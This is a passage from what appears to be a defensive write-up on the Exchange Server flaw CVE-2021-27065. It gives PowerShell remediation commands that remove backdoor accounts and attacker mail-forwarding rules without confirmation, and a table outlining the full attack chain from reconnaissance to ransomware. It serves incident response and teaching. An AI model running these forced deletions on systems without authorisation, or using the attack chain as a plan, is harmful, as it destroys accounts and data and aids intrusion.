Get-LocalUser | Where-Object {$_.PasswordLastSet -gt $compromiseDate} | Select-Object Name, PasswordLastSet
# Remove suspicious accounts
Remove-LocalUser -Name "backdoor" -Confirm:$false
Remove-LocalUser -Name "svc_exchange" -Confirm:$false
Command (PowerShell - Mail Forwarding Removal):
# Check for forwarding rules added by attacker
Get-InboxRule | Where-Object {$_.ForwardTo -notlike $null} | Select-Object Identity, ForwardTo
# Remove suspicious forwarding rules
Get-InboxRule | Where-Object {$_.Identity -like "Attacker-*"} | Remove-InboxRule -Confirm:$false
Command (PowerShell - Full Remediation - EOMT.ps1):
# Run the full Microsoft mitigation tool (includes webshell removal, account cleanup, etc.)
.\EOMT.ps1 -FixIt
Manual (Server Rebuild - Recommended):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-002] Anonymous LDAP Binding | Attacker maps the domain to identify Exchange servers and admin accounts |
| 2 | Initial Access | [PE-REMOTE-001] CVE-2021-27065 (THIS TECHNIQUE) | Exploitation of Exchange Server vulnerabilities to achieve RCE |
| 3 | Credential Access | [CA-DUMP-002] DCSync Attack | Attacker uses SYSTEM privileges to perform DCSync and dump AD credentials |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates hidden admin account or adds persistence via app registration |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Attacker uses dumped hashes to move laterally to Domain Controllers and file servers |
| 6 | Impact | Data Exfiltration & Ransomware | Attacker exfiltrates mailbox data and deploys ransomware across the environment |